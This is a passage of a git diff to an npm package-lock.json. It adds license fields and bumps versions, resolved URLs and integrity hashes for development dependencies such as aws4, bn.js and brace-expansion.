       "resolved": "https://registry.npmjs.org/acorn-node/-/acorn-node-1.8.2.tgz",
       "integrity": "sha512-8mt+fslDufLYntIoPAaIMUe/lrbrehIiwmR3t2k9LljIzoigEPF27eLk2hy8zSGzmR/ogr7zbRKINMo1u0yh5A==",
       "dev": true,
+      "license": "Apache-2.0",
       "dependencies": {
         "acorn": "^7.0.0",
         "acorn-walk": "^7.0.0",
@@ -903,6 +884,7 @@
       "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz",
       "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==",
       "dev": true,
+      "license": "MIT",
       "bin": {
         "acorn": "bin/acorn"
       },
@@ -915,6 +897,7 @@
       "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz",
       "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.4.0"
       }
@@ -923,6 +906,7 @@
       "version": "6.12.6",
       "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz",
       "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==",
+      "license": "MIT",
       "dependencies": {
         "fast-deep-equal": "^3.1.1",
         "fast-json-stable-stringify": "^2.0.0",
@@ -938,6 +922,7 @@
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/ajv-errors/-/ajv-errors-1.0.1.tgz",
       "integrity": "sha512-DCRfO/4nQ+89p/RK43i8Ezd41EqdGIU4ld7nGF8OQ14oc/we5rEntLCUa7+jrn3nn83BosfwZA0wb4pon2o8iQ==",
+      "license": "MIT",
       "peerDependencies": {
         "ajv": ">=5.0.0"
       }
@@ -947,6 +932,7 @@
       "resolved": "https://registry.npmjs.org/amdefine/-/amdefine-1.0.1.tgz",
       "integrity": "sha512-S2Hw0TtNkMJhIabBwIojKL9YHO5T0n5eNqWJ7Lrlel/zDbftQpxpapi8tZs3X1HWa+u+QeydGmzzNU0m09+Rcg==",
       "dev": true,
+      "license": "BSD-3-Clause OR MIT",
       "optional": true,
       "engines": {
         "node": ">=0.4.2"
@@ -957,6 +943,7 @@
       "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz",
       "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
@@ -966,6 +953,7 @@
       "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-4.1.1.tgz",
       "integrity": "sha512-ILlv4k/3f6vfQ4OoP2AGvirOktlQ98ZEL1k9FaQjxa3L1abBgbuTDAdPOpvbGncC0BTVQrl+OM8xZGK6tWXt7g==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=6"
       }
@@ -975,6 +963,7 @@
       "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-3.2.1.tgz",
       "integrity": "sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "color-convert": "^1.9.0"
       },
@@ -987,6 +976,7 @@
       "resolved": "https://registry.npmjs.org/anymatch/-/anymatch-2.0.0.tgz",
       "integrity": "sha512-5teOsQWABXHHBFP9y3skS5P3d/WfWXpv3FUpy+LorMrNYaT9pI4oLMQX7jzQ2KklNpGpWHzdCXTDT2Y3XGlZBw==",
       "dev": true,
+      "license": "ISC",
       "dependencies": {
         "micromatch": "^3.1.4",
         "normalize-path": "^2.1.1"
@@ -996,13 +986,15 @@
       "version": "0.2.0",
       "resolved": "https://registry.npmjs.org/ap/-/ap-0.2.0.tgz",
       "integrity": "sha512-ImdvquIuBSVpWRWhB441UjvTcZqic1RL+lTQaUKGdGEp1aiTvt/phAvY8Vvs32qya5FJBI8U+tzNBYzFDQY/lQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT/X11"
     },
     "node_modules/argparse": {
       "version": "1.0.10",
       "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
       "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "sprintf-js": "~1.0.2"
       }
@@ -1012,6 +1004,7 @@
       "resolved": "https://registry.npmjs.org/arr-diff/-/arr-diff-4.0.0.tgz",
       "integrity": "sha512-YVIQ82gZPGBebQV/a8dar4AitzCQs0jjXwMPZllpXMaGjXPYVUawSxQrRsjhjupyVxEvbHgUmIhKVlND+j02kA==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -1021,6 +1014,7 @@
       "resolved": "https://registry.npmjs.org/arr-flatten/-/arr-flatten-1.1.0.tgz",
       "integrity": "sha512-L3hKV5R/p5o81R7O02IGnwpDmkp6E982XhtbuwSe3O4qOtMMMtodicASA1Cny2U+aCXcNpml+m4dPsvsJ3jatg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -1030,55 +1024,70 @@
       "resolved": "https://registry.npmjs.org/arr-union/-/arr-union-3.1.0.tgz",
       "integrity": "sha512-sKpyeERZ02v1FeCZT8lrfJq5u6goHCtpTAzPwJYe7c8SPFOboNjNg1vz2L4VTn9T4PQxEx13TbXLmYUcS6Ug7Q==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/array-buffer-byte-length": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.0.tgz",
-      "integrity": "sha512-LPuwb2P+NrQw3XhxGc36+XSvuBPopovXYTR9Ew++Du9Yb/bx5AzBfrIsBoj0EZUifjQU+sHL21sseZ3jerWO/A==",
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz",
+      "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "is-array-buffer": "^3.0.1"
+        "call-bound": "^1.0.3",
+        "is-array-buffer": "^3.0.5"
+      },
+      "engines": {
+        "node": ">= 0.4"
       },
       "funding": {
         "url": "https://github.com/sponsors/ljharb"
       }
     },
     "node_modules/array-equal": {
-      "version": "1.0.0",
-      "resolved": "https://registry.npmjs.org/array-equal/-/array-equal-1.0.0.tgz",
-      "integrity": "sha512-H3LU5RLiSsGXPhN+Nipar0iR0IofH+8r89G2y1tBKxQ/agagKyAjhkAFDRBfodP2caPrNKHpAWNIM/c9yeL7uA==",
-      "dev": true
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/array-equal/-/array-equal-1.0.2.tgz",
+      "integrity": "sha512-gUHx76KtnhEgB3HOuFYiCm3FIdEs6ocM2asHvNTkfu/Y09qQVrrVVaOKENmS2KkSaGoxgXNqC+ZVtR/n0MOkSA==",
+      "dev": true,
+      "license": "MIT",
+      "funding": {
+        "url": "https://github.com/sponsors/sindresorhus"
+      }
     },
     "node_modules/array-from": {
       "version": "2.1.1",
       "resolved": "https://registry.npmjs.org/array-from/-/array-from-2.1.1.tgz",
       "integrity": "sha512-GQTc6Uupx1FCavi5mPzBvVT7nEOeWMmUA9P95wpfpW1XwMSKs+KaymD5C2Up7KAUKg/mYwbsUYzdZWcoajlNZg==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/array-unique": {
       "version": "0.3.2",
       "resolved": "https://registry.npmjs.org/array-unique/-/array-unique-0.3.2.tgz",
       "integrity": "sha512-SleRWjh9JUud2wH1hPs9rZBZ33H6T9HOiL0uwGnGx9FpE6wKGyfWugmbkEOIs6qWrZhg0LWeLziLrEwQJhs5mQ==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
     },
     "node_modules/array.prototype.reduce": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.5.tgz",
-      "integrity": "sha512-kDdugMl7id9COE8R7MHF5jWk7Dqt/fs4Pv+JXoICnYwqpjjjbUurz6w5fT5IG6brLdJhv6/VoHB0H7oyIBXd+Q==",
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/array.prototype.reduce/-/array.prototype.reduce-1.0.8.tgz",
+      "integrity": "sha512-DwuEqgXFBwbmZSRqt3BpQigWNUoqw9Ml2dTWdF3B2zQlQX4OeUE0zyuzX0fX0IbTvjdkZbcBTU3idgpO78qkTw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.1.4",
-        "es-abstract": "^1.20.4",
+        "call-bind": "^1.0.8",
+        "call-bound": "^1.0.4",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.9",
         "es-array-method-boxes-properly": "^1.0.0",
-        "is-string": "^1.0.7"
+        "es-errors": "^1.3.0",
+        "es-object-atoms": "^1.1.1",
+        "is-string": "^1.1.1"
       },
       "engines": {
         "node": ">= 0.4"
@@ -1088,17 +1097,19 @@
       }
     },
     "node_modules/arraybuffer.prototype.slice": {
-      "version": "1.0.1",
-      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.1.tgz",
-      "integrity": "sha512-09x0ZWFEjj4WD8PDbykUwo3t9arLn8NIzmmYEJFpYekOAQjpkGSyrQhNoRTcwwcFRu+ycWF78QZ63oWTqSjBcw==",
+      "version": "1.0.4",
+      "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz",
+      "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "array-buffer-byte-length": "^1.0.0",
-        "call-bind": "^1.0.2",
-        "define-properties": "^1.2.0",
-        "get-intrinsic": "^1.2.1",
-        "is-array-buffer": "^3.0.2",
-        "is-shared-array-buffer": "^1.0.2"
+        "array-buffer-byte-length": "^1.0.1",
+        "call-bind": "^1.0.8",
+        "define-properties": "^1.2.1",
+        "es-abstract": "^1.23.5",
+        "es-errors": "^1.3.0",
+        "get-intrinsic": "^1.2.6",
+        "is-array-buffer": "^3.0.4"
       },
       "engines": {
         "node": ">= 0.4"
@@ -1112,36 +1123,39 @@
       "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.6.tgz",
       "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "safer-buffer": "~2.1.0"
       }
     },
     "node_modules/asn1.js": {
-      "version": "5.4.1",
-      "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-5.4.1.tgz",
-      "integrity": "sha512-+I//4cYPccV8LdmBLiX8CYvf9Sp3vQsrqu2QNXRcrbiWvcx/UdlFiqUJJzxRQxgsZmvhXhn4cSKeSmoFjVdupA==",
+      "version": "4.10.1",
+      "resolved": "https://registry.npmjs.org/asn1.js/-/asn1.js-4.10.1.tgz",
+      "integrity": "sha512-p32cOF5q0Zqs9uBiONKYLm6BClCoBCM5O9JfeUSlnQLBTxYdTK+pW+nXflm8UkKd2UYlEbYz5qEi0JuZR9ckSw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "bn.js": "^4.0.0",
         "inherits": "^2.0.1",
-        "minimalistic-assert": "^1.0.0",
-        "safer-buffer": "^2.1.0"
+        "minimalistic-assert": "^1.0.0"
       }
     },
     "node_modules/asn1.js/node_modules/bn.js": {
-      "version": "4.12.0",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.0.tgz",
-      "integrity": "sha512-c98Bf3tPniI+scsdk237ku1Dc3ujXQTSgyiPUDEOe7tRkhrqridvh8klBv0HCEso1OLOYcHuCv/cS6DNxKH+ZA==",
-      "dev": true
+      "version": "4.12.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
+      "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/assert": {
-      "version": "1.5.0",
-      "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.0.tgz",
-      "integrity": "sha512-EDsgawzwoun2CZkCgtxJbv392v4nbk9XDD06zI+kQYoBM/3RBWLlEyJARDOmhAAosBjWACEkKL6S+lIZtcAubA==",
+      "version": "1.5.1",
+      "resolved": "https://registry.npmjs.org/assert/-/assert-1.5.1.tgz",
+      "integrity": "sha512-zzw1uCAgLbsKwBfFc8CX78DDg+xZeBksSO3vwVIDDN5i94eOrPsSSyiVhmsSABFDM/OcpE2aagCat9dnWQLG1A==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
-        "object-assign": "^4.1.1",
-        "util": "0.10.3"
+        "object.assign": "^4.1.4",
+        "util": "^0.10.4"
       }
     },
     "node_modules/assert-plus": {
@@ -1149,30 +1163,17 @@
       "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz",
       "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.8"
       }
     },
-    "node_modules/assert/node_modules/inherits": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.1.tgz",
-      "integrity": "sha512-8nWq2nLTAwd02jTqJExUYFSD/fKq6VH9Y/oG2accc/kdI0V98Bag8d5a4gi3XHz73rDWa2PvTtvcWYquKqSENA==",
-      "dev": true
-    },
-    "node_modules/assert/node_modules/util": {
-      "version": "0.10.3",
-      "resolved": "https://registry.npmjs.org/util/-/util-0.10.3.tgz",
-      "integrity": "sha512-5KiHfsmkqacuKjkRkdV7SsfDJ2EGiPsK92s2MhNSY0craxjTdKTtqKsJaCWp4LW33ZZ0OPUv1WO/TFvNQRiQxQ==",
-      "dev": true,
-      "dependencies": {
-        "inherits": "2.0.1"
-      }
-    },
     "node_modules/assign-symbols": {
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/assign-symbols/-/assign-symbols-1.0.0.tgz",
       "integrity": "sha512-Q+JC7Whu8HhmTdBph/Tq59IoRtoy6KAm5zzPv00WdujX82lbAL8K7WVjne7vdCsAmbF4AYaDOPyO3k0kl8qIrw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -1182,27 +1183,41 @@
       "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-1.0.0.tgz",
       "integrity": "sha512-+Ryf6g3BKoRc7jfp7ad8tM4TtMiaWvbF/1/sQcZPkkS7ag3D5nMBCe2UfOTONtAkaG0tO0ij3C5Lwmf1EiyjHg==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=4"
       }
     },
+    "node_modules/async-function": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/async-function/-/async-function-1.0.0.tgz",
+      "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==",
+      "dev": true,
+      "license": "MIT",
+      "engines": {
+        "node": ">= 0.4"
+      }
+    },
     "node_modules/async-limiter": {
       "version": "1.0.1",
       "resolved": "https://registry.npmjs.org/async-limiter/-/async-limiter-1.0.1.tgz",
       "integrity": "sha512-csOlWGAcRFJaI6m+F2WKdnMKr4HhdhFVBk0H/QbJFMCr+uO2kwohwXQPxw/9OCxp05r5ghVBFSyioixx3gfkNQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/asynckit": {
       "version": "0.4.0",
       "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
       "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/atob": {
       "version": "2.1.2",
       "resolved": "https://registry.npmjs.org/atob/-/atob-2.1.2.tgz",
       "integrity": "sha512-Wm6ukoaOGJi/73p/cl2GvLjTI5JM1k/O14isD73YML8StrH/7/lRFgmg8nICZgD3bZZvjwCGxtMOD3wWNAu8cg==",
       "dev": true,
+      "license": "(MIT OR Apache-2.0)",
       "bin": {
         "atob": "bin/atob.js"
       },
@@ -1211,10 +1226,14 @@
       }
     },
     "node_modules/available-typed-arrays": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.5.tgz",
-      "integrity": "sha512-DMD0KiN46eipeziST1LPP/STfDU0sufISXmjSgvVsoU2tqxctQeASejWcfNtxYKqETM1UxQ8sp2OrSBWpHY6sw==",
+      "version": "1.0.7",
+      "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
+      "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
       "dev": true,
+      "license": "MIT",
+      "dependencies": {
+        "possible-typed-array-names": "^1.0.0"
+      },
       "engines": {
         "node": ">= 0.4"
       },
@@ -1227,21 +1246,24 @@
       "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz",
       "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==",
       "dev": true,
+      "license": "Apache-2.0",
       "engines": {
         "node": "*"
       }
     },
     "node_modules/aws4": {
-      "version": "1.12.0",
-      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.12.0.tgz",
-      "integrity": "sha512-NmWvPnx0F1SfrQbYwOi7OeaNGokp9XhzNioJ/CSBs8Qa4vxug81mhJEAVZwxXuBmYB5KDRfMq/F3RR0BIU7sWg==",
-      "dev": true
+      "version": "1.13.2",
+      "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.13.2.tgz",
+      "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/babel-jest": {
       "version": "24.9.0",
       "resolved": "https://registry.npmjs.org/babel-jest/-/babel-jest-24.9.0.tgz",
       "integrity": "sha512-ntuddfyiN+EhMw58PTNL1ph4C9rECiQXjI4nMMBKBaNjXvqLdkXpPRcMSr4iyBrJg/+wz9brFUD6RhOAT6r4Iw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@jest/transform": "^24.9.0",
         "@jest/types": "^24.9.0",
@@ -1263,6 +1285,7 @@
       "resolved": "https://registry.npmjs.org/babel-plugin-istanbul/-/babel-plugin-istanbul-5.2.0.tgz",
       "integrity": "sha512-5LphC0USA8t4i1zCtjbbNb6jJj/9+X6P37Qfirc/70EQ34xKlMW+a1RHGwxGI+SwWpNwZ27HqvzAobeqaXwiZw==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "@babel/helper-plugin-utils": "^7.0.0",
         "find-up": "^3.0.0",
@@ -1278,6 +1301,7 @@
       "resolved": "https://registry.npmjs.org/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-24.9.0.tgz",
       "integrity": "sha512-2EMA2P8Vp7lG0RAzr4HXqtYwacfMErOuv1U3wrvxHX6rD1sV6xS3WXG3r8TRQ2r6w8OhvSdWt+z41hQNwNm3Xw==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@types/babel__traverse": "^7.0.6"
       },
@@ -1290,6 +1314,7 @@
       "resolved": "https://registry.npmjs.org/babel-preset-jest/-/babel-preset-jest-24.9.0.tgz",
       "integrity": "sha512-izTUuhE4TMfTRPF92fFwD2QfdXaZW08qvWTFCI51V8rW5x00UuPgc3ajRoWofXOuxjfcOM5zzSYsQS3H8KGCAg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "@babel/plugin-syntax-object-rest-spread": "^7.0.0",
         "babel-plugin-jest-hoist": "^24.9.0"
@@ -1305,13 +1330,15 @@
       "version": "0.2.1",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-0.2.1.tgz",
       "integrity": "sha512-euSOvfze1jPOf85KQOmZ2UcWDJ/dUJukTJdj4o9ZZLyjl7IjdIyE4fAQRSuGrxAjB9nvvvrl4N3bPtRq+W+SyQ==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/base": {
       "version": "0.11.2",
       "resolved": "https://registry.npmjs.org/base/-/base-0.11.2.tgz",
       "integrity": "sha512-5T6P4xPgpp0YDFvSWwEZ4NoE3aM4QBQXDzmVbraCkFj8zHM+mba8SyqB5DbZWyR7mYHo6Y7BdQo3MoA4m0TeQg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "cache-base": "^1.0.1",
         "class-utils": "^0.3.5",
@@ -1330,6 +1357,7 @@
       "resolved": "https://registry.npmjs.org/define-property/-/define-property-1.0.0.tgz",
       "integrity": "sha512-cZTYKFWspt9jZsMscWo8sc/5lbPC9Q0N5nBLgb+Yd915iL3udB1uFgS3B8YCx66UVHq018DAVFoee7x+gxggeA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-descriptor": "^1.0.0"
       },
@@ -1355,13 +1383,15 @@
           "type": "consulting",
           "url": "https://feross.org/support"
         }
-      ]
+      ],
+      "license": "MIT"
     },
     "node_modules/bcrypt-pbkdf": {
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz",
       "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==",
       "dev": true,
+      "license": "BSD-3-Clause",
       "dependencies": {
         "tweetnacl": "^0.14.3"
       }
@@ -1371,22 +1401,25 @@
       "resolved": "https://registry.npmjs.org/bindings/-/bindings-1.5.0.tgz",
       "integrity": "sha512-p2q/t/mhvuOj/UeLlV6566GD/guowlr0hHxClI0W9m7MWYkL1F0hLo+0Aexs9HSPCtR1SXQ0TD3MMKrXZajbiQ==",
       "dev": true,
+      "license": "MIT",
       "optional": true,
       "dependencies": {
         "file-uri-to-path": "1.0.0"
       }
     },
     "node_modules/bn.js": {
-      "version": "5.2.1",
-      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.1.tgz",
-      "integrity": "sha512-eXRvHzWyYPBuB4NBy0cmYQjGitUrtqwbvlzP3G6VFnNRbsZQIxQ10PbKKHt8gZ/HW/D/747aDl+QkDqg3KQLMQ==",
-      "dev": true
+      "version": "5.2.2",
+      "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-5.2.2.tgz",
+      "integrity": "sha512-v2YAxEmKaBLahNwE1mjp4WON6huMNeuDvagFZW+ASCuA/ku0bXR9hSMw0XpiqMoA3+rmnyck/tPRSFQkoC9Cuw==",
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/brace-expansion": {
-      "version": "1.1.11",
-      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz",
-      "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==",
+      "version": "1.1.12",
+      "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
+      "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "balanced-match": "^1.0.0",
         "concat-map": "0.0.1"
@@ -1396,13 +1429,15 @@
       "version": "1.0.2",
       "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
       "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/braces": {
       "version": "2.3.2",
       "resolved": "https://registry.npmjs.org/braces/-/braces-2.3.2.tgz",
       "integrity": "sha512-aNdbnj9P8PjdXU4ybaWLK2IF3jc/EoDYbC7AazW6to3TRsfXxscC9UXOB5iDiEQrkyIbWp2SLQda4+QAa7nc3w==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "arr-flatten": "^1.1.0",
         "array-unique": "^0.3.2",
@@ -1424,6 +1459,7 @@
       "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-2.0.1.tgz",
       "integrity": "sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "is-extendable": "^0.1.0"
       },
@@ -1436,6 +1472,7 @@
       "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-0.1.1.tgz",
       "integrity": "sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==",
       "dev": true,
+      "license": "MIT",
       "engines": {
         "node": ">=0.10.0"
       }
@@ -1445,6 +1482,7 @@
       "resolved": "https://registry.npmjs.org/brfs/-/brfs-2.0.2.tgz",
       "integrity": "sha512-IrFjVtwu4eTJZyu8w/V2gxU7iLTtcHih67sgEdzrhjLBMHp2uYefUBfdM4k2UvcuWMgV7PQDZHSLeNWnLFKWVQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "quote-stream": "^1.0.1",
         "resolve": "^1.1.5",
@@ -1459,13 +1497,15 @@
       "version": "1.1.0",
       "resolved": "https://registry.npmjs.org/brorand/-/brorand-1.1.0.tgz",
       "integrity": "sha512-cKV8tMCEpQs4hK/ik71d6LrPOnpkpGBR0wzxqr68g2m/LB2GxVYQroAjMJZRVM1Y4BCjCKc3vAamxSzOY2RP+w==",
-      "dev": true
+      "dev": true,
+      "license": "MIT"
     },
     "node_modules/browser-pack": {
       "version": "6.1.0",
       "resolved": "https://registry.npmjs.org/browser-pack/-/browser-pack-6.1.0.tgz",
       "integrity": "sha512-erYug8XoqzU3IfcU8fUgyHqyOXqIE4tUTTQ+7mqUjQlvnXkOO6OlT9c/ZoJVHYoAaqGxr09CN53G7XIsO4KtWA==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "combine-source-map": "~0.8.0",
         "defined": "^1.0.0",
@@ -1482,13 +1522,15 @@
       "version": "1.0.0",
       "resolved": "https://registry.npmjs.org/browser-process-hrtime/-/browser-process-hrtime-1.0.0.tgz",
       "integrity": "sha512-9o5UecI3GhkpM6DrXr69PblIuWxPKk9Y0jHBRhdocZ2y7YECBFCsHm79Pr3OyR2AvjhDkabFJaDJMYRazHgsow==",
-      "dev": true
+      "dev": true,
+      "license": "BSD-2-Clause"
     },
     "node_modules/browser-resolve": {
       "version": "2.0.0",
       "resolved": "https://registry.npmjs.org/browser-resolve/-/browser-resolve-2.0.0.tgz",
       "integrity": "sha512-7sWsQlYL2rGLy2IWm8WL8DCTJvYLc/qlOnsakDac87SOoCd16WLsaAMdCiAqsTNHIe+SXfaqyxyo6THoWqs8WQ==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "resolve": "^1.17.0"
       }
@@ -1498,6 +1540,7 @@
       "resolved": "https://registry.npmjs.org/browserify/-/browserify-16.5.2.tgz",
       "integrity": "sha512-TkOR1cQGdmXU9zW4YukWzWVSJwrxmNdADFbqbE3HFgQWe5wqZmOawqZ7J/8MPCwk/W8yY7Y0h+7mOtcZxLP23g==",
       "dev": true,
+      "license": "MIT",
       "dependencies": {
         "assert": "^1.4.0",
         "browser-pack": "^6.0.1",
@@ -1560,6 +1603,7 @@
       "resolved": "https://registry.npmjs.org/browserify-aes/-/browserify-aes-1.2.0.tgz",
